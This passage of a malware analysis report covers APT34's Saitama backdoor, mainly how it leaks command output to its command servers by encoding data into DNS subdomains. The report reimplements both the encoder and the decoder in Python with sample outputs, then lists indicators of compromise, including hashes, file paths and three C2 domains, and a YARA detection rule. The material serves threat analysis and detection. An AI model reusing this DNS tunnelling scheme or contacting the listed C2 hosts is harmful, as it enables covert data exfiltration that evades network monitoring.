After getting the result from the command execution the malware need a way to send it to the C2. This is how the malware exfiltrated the data. It may look like a simple DNS request in a network log, but the exfiltrated data is actually built into the DNS request , the malware send 12 bytes at time or less if there is no full 12 bytes to send.
If it’s the first time to send part from the ResultDate
,
The malware generate different subdomains constructed with the following steps:
- Passed data = converted
SendByteIndex
to char and pad it with the first char inCharDomain
+ convertedSendDataSize
to char and pad it with the first char inCharDomain
+ base32 encode of the resultData . - Convert domaintype to character and + the converted
AgentId
to character + data passed. - Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and return 36 random char and numbers.
- Map step 1 output to the shuffled chars .
- Convert seed ( counter ) to char and pad it with the first char in
CharCounter
. - Then append random domain form the 3 that exists
joexpediagroup.com
,asiaworldremit.com
,uber-asia.com
- Generated domain = step 5 output + step 6 output + step 6 output
- The counter is increased if the malware was successfully connected to the generated domain .
If it’s not the first time , the malware generate different subdomains constructed with the following steps:
- Passed data = converted
SendByteIndex
to char and pad it with the first char inCharDomain
+ base32 encode of the resultData . - Convert domaintype to character and + the converted
AgentId
to character + data passed. - Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and return 36 random char and numbers.
- Map step 1 output to the shuffled chars ..
- Convert seed ( counter ) to char and pad it with the first char in
CharCounter
. - Then append random domain form the 3 that exists
joexpediagroup.com
,asiaworldremit.com
,uber-asia.com
- Generated domain = step 4 output + step 5 output + step 6 output
- The counter is increased if the malware was successfully connected to the generated domain .
If successfully connected to the generated domain , it check if there is data to be received and if there is still more data to be sent the machine will go to SendAndReceive
state.
For simplicity we consider the data to be send not compressed . The generated subdomain will be like :
seed = 6540
AgentID = 203
SendAndReceive = 1
SendDataSize = 38
SendByteIndex = 0
val = SendDataSize - SendByteIndex;
num = min(12, val);
SendData = b'9We Are Breaking APT34 In This Report!' # 9 indicates that it's not compressed
SendData = base64.b32encode(SendData[SendByteIndex:num]).replace(b"=",b"").lower().decode()
data = PadLeft(ConvertIntToDomain(SendByteIndex),3,CharsDomain[0]) + PadLeft(ConvertIntToDomain(SendDataSize),3,CharsDomain[0]) + SendData
shuffle = Shuffle(seed)
domain = ConvertIntToDomain(SendAndReceive) + ConvertIntToDomain(AgentID) + data
Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "."
print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]")
1mcllll1zvmu259z1hxnnlsfnawssgad.
If it isn’t the first time to send part of the data . The generated subdomain will be like : :
seed = 6541
AgentID = 203
SendAndReceive = 3
SendDataSize = 38
SendByteIndex = 12 # send next 12 bytes
val = SendDataSize - SendByteIndex;
num = min(12, val);
SendData = b'9We Are Breaking APT34 In This Report!'
SendData = base64.b32encode(SendData[SendByteIndex:SendByteIndex+num]).replace(b"=",b"").lower().decode()
data = PadLeft(ConvertIntToDomain(SendDataSize),3,CharsDomain[0]) + SendData
shuffle = Shuffle(seed)
domain = ConvertIntToDomain(SendAndReceive) + ConvertIntToDomain(AgentID) + data
Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "."
print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]")
dgxmnu11rfyvvmcgcgcavr6n6wgax.
So how the C2 will know what is the data sent ! , Here is a little example demonstrating it .
Domain = "1mcllll1zvmu259z1hxnnlsfnawssgad" # the domain generated from the first 12 bytes
Seed = 0
DomainTypes = {
"a":"FirstAlive",
"b":"Send"
,"c":"Receive"
,"d":"SendAndReceive"
,"e":"MainAlive"}
dict = { 57:"Not Compressed" , 61:"Compressed"}
def MapBaseSubdomainCharacters_inverse(data, shuffle):
text = ""
CharsDomain = "abcdefghijklmnopqrstuvwxyz0123456789"
for i in data:
text += CharsDomain[shuffle.find(i)]
return text
# Get Seed
for i in range(46656):
if Domain[-3:] == PadLeft(ConvertIntToCounter(i),3,CharsCounter[0]):
Seed = i
break
shuffle = Shuffle(Seed)
Domain_Inv = MapBaseSubdomainCharacters_inverse(Domain[:-3],shuffle)
domaintype = Domain_Inv[0]
data = Domain_Inv[-20:]
# for the frist connection we know SendByteIndex will be 0 which is equal to aaa after converting it to char and pad it
SendByteIndex_offset = Domain_Inv.find("aaa")
AgentId = Domain_Inv[1:SendByteIndex_offset]
DataSize = Domain_Inv[SendByteIndex_offset+3:SendByteIndex_offset+6]
# Get AgentId
for i in range(255):
if AgentId == ConvertIntToDomain(i):
AgentId = i
break
# Get DataSize
for i in range(255): # size can exceed 255 of course
if DataSize == PadLeft(ConvertIntToDomain(i),3,CharsDomain[0]):
DataSize = i
break
# pad and decode data
Data = base64.b32decode(data.upper()+"="*(len(data)%8))
print("Seed :", Seed)
print("AgentId :" ,AgentId)
print("Domain Type :" , DomainTypes[domaintype])
print("Size :" ,DataSize)
print("Send Data :" ,Data[1::])
print(dict[Data[0]])
Seed : 6540
AgentId : 203
Domain Type : Send
Size : 38
Send Data : b'We Are Brea'
Not Compressed
Receive and Send state
The malware generate different subdomains constructed with the following steps:
- Passed data = converted
SendByteIndex
to char and pad it with the first char inCharDomain
+ convertedReceiveByteIndex
to char and pad it with the first char inCharDomain
+ base32 encode of the resultData . - Convert domaintype to character and + the converted
AgentId
to character + data passed. - Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and return 36 random char and numbers.
- Map step 1 output to the shuffled chars .
- Convert seed ( counter ) to char and pad it with the first char in
CharCounter
. - Then append random domain form the 3 that exists
joexpediagroup.com
,asiaworldremit.com
,uber-asia.com
- Generated domain = step 4 output + step 5 output + step 6 output
- The counter is increased if the malware was successfully connected to the generated domain .
Then process data as seen in Receive
function and check if all the data was sent or their are more to send .
and then it go to Send
state or Receive
state or Do
state depends on the check made.
Let’s consider that there was data to be received after sending the first 12 bytes , so state will change from Send
to ReceiveandSend
state . And here is how the domain will be generated:
seed = 6541
AgentID = 203
SendAndReceive = 3
SendDataSize = 38
SendByteIndex = 12
ReceiveByteIndex = 0
val = SendDataSize - SendByteIndex;
num = min(12, val);
SendData = b'9We Are Breaking APT34 In This Report!'
SendData = base64.b32encode(SendData[SendByteIndex:SendByteIndex+num]).replace(b"=",b"").lower().decode()
data = PadLeft(ConvertIntToDomain(SendByteIndex),3,CharsDomain[0]) + PadLeft(ConvertIntToDomain(ReceiveByteIndex),3,CharsDomain[0]) + SendData
shuffle = Shuffle(seed)
domain = ConvertIntToDomain(SendAndReceive) + ConvertIntToDomain(AgentID) + data
Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "."
print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]")
dgxmmammm11rfyvvmcgcgcavr6n6wgax. [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]
Final Recap
- Mutex created .
- Machine States dictionary create which control the states transaction , and every state do different job .
- Config initialized .
- First state is
Begin
and a commandStart
changes state toAlive
. - Try to call
FirstAlive
untill it succeed or exceed maximum tries , setAgentId
if succeed. MainAlive
is called and check if data will be received move toReceive
state.Receive
state receive the command to be executed then move toDo
state .Do
state will execute the specified command, and the result will be sent to the C2 so the malware will move toSend
state.Send
state will send the result of the executed command , and check if there is more data that will be received , if found and the data being sent wasn’t fully sent yet , the malware move toReceiveandSend
state.
Saitama abuses the DNS protocol for its C2 communications. This is stealthier than other communication methods. Also uses techniques such as compression and long random sleep times to disguise malicious traffic in between legitimate traffic.
IOCs
- Hashes:
-
Maldoc (Confirmation Receive Document.xls) :
md5 :
C4F81486D10818E0BD4B9701DCAFC8A2
sha1 :
15A1B1EBF04870AAD7EA4BD7D0264F17057E9002
sha256 :
26884F872F4FAE13DA21FA2A24C24E963EE1EB66DA47E270246D6D9DC7204C2B
ssdeep :
12288:NfjOjlJUDo0DcsUD65oNxWqUOsDmlYh5edDxcSjrUlCZiJxIlxSLaMpgA0DfZT5r:VOjlJKrqUKEIlxSLh0Djme
-
update.exe (Saitama backdoor) :
md5 :
79C7219BA38C5A1971A32B50E14D4A13
sha1 :
B39B3A778F0C257E58C0E7F851D10C707FBE2666
sha256 :
E0872958B8D3824089E5E1CFAB03D9D98D22B9BCB294463818D721380075A52D
imphash :
F34D5F2D4577ED6D9CEEC516C1F5A744
ssdeep :
768:bEj9FSWZxm3eJ38Etub7B/iGkIJywnYwVMwfJhVRVmHUFeP+SVL/mVW5iV7uVSxH:gaSLub7W8
-
Microsoft.Exchange.WebServices.dll:
md5 :
F9A1B01E2D5C4CB2D632A74FCB7EC2DD
sha1 :
5A9B17A0510301725DCEAFFF026ECA872FB05579
sha256 :
7EBBEB2A25DA1B09A98E1A373C78486ED2C5A7F2A16EEC63E576C99EFE0C7A49
imphash :
DAE02F32A21E03CE65412F6E56942DAA
ssdeep :
12288:m/uKlFauqcCJ781wrckIE/9dCuyk05CGCIYzmA/VMmy5PJ+S:m/uKlFaFV8EdCuyk05CDdzPry5PJ1
-
update.exe.config:
md5 :
AFDC68F0B6CE87EBEF0FEC5565C80FD3
sha1 :
2641A3CC98AA84979BE68B675E26E5F94F059B57
sha256 :
09C19455F249514020A4075667B087B16EAAD440938F2D139399D21117879E60
ssdeep :
3:JLWMNHU8LdgCQcIMOoIRuQVK/FNURAmIRMNHNQAolFNURAmIRMNHjFN5KWREBAWq:JiMVBd1IffVKNC7VNQAofC7VrpuAW4QA
-
Mutex :
726a06ad-475b-4bc6-8466-f08960595f1e
- Files:
- C:\Users\UserName\AppData\Local\MicrosoftUpdate\Microsoft.Exchange.WebServices.dll
- C:\Users\UserName\AppData\Local\MicrosoftUpdate\update.exe.config
- C:\Users\UserName\AppData\Local\MicrosoftUpdate\update.exe
- C2 Domains:
- uber-asia.com
- asiaworldremit.com
- joexpediagroup.com
Yara Rules
rule APT34_Saitama_Agent: APT34_Saitama_Agent
{
meta:
Author = "X__Junior"
Description = "APT34_Saitama_Agent Detection"
strings:
$GetRandomRange = {04 03 59 0A 02 28 ?? ?? ?? ?? 0B 03 6A 07 6E 06 6A 5D 58 69 2A}
$random = {7E ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 0C 02 73 ?? ?? ?? ?? 0D 16 13 ?? 2B ?? 09 16 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 08 06 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 06 11 ?? 17 6F 46 ?? ?? ?? 0A 11 ?? 17 58 13 ?? 11 ?? 07 32 ?? 08 2A }
$MapBaseSubdomainCharacters = {7E ?? ?? ?? ?? 0A 16 0B 2B ?? 06 03 7E ?? ?? ?? ?? 02 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 07 17 58 0B 07 02 6F ?? ?? ?? ?? 32 ?? 06 2A}
$s1 = "E:\\Saitama\\Saitama.Agent\\obj\\Release\\Saitama.Agent.pdb" ascii
$s2 = "Saitama.Agent" ascii
$s3 = "razupgnv2w01eos4t38h7yqidxmkljc6b9f5" wide
$s4 = "joexpediagroup.com" wide
$s5 = "asiaworldremit.com" wide
$s6 = "uber-asia.com" wide
$s7 = "Saitama.Agent.exe" ascii
condition:
uint16(0) == 0x5A4D and 3 of($s*) and $GetRandomRange and $random and $MapBaseSubdomainCharacters
}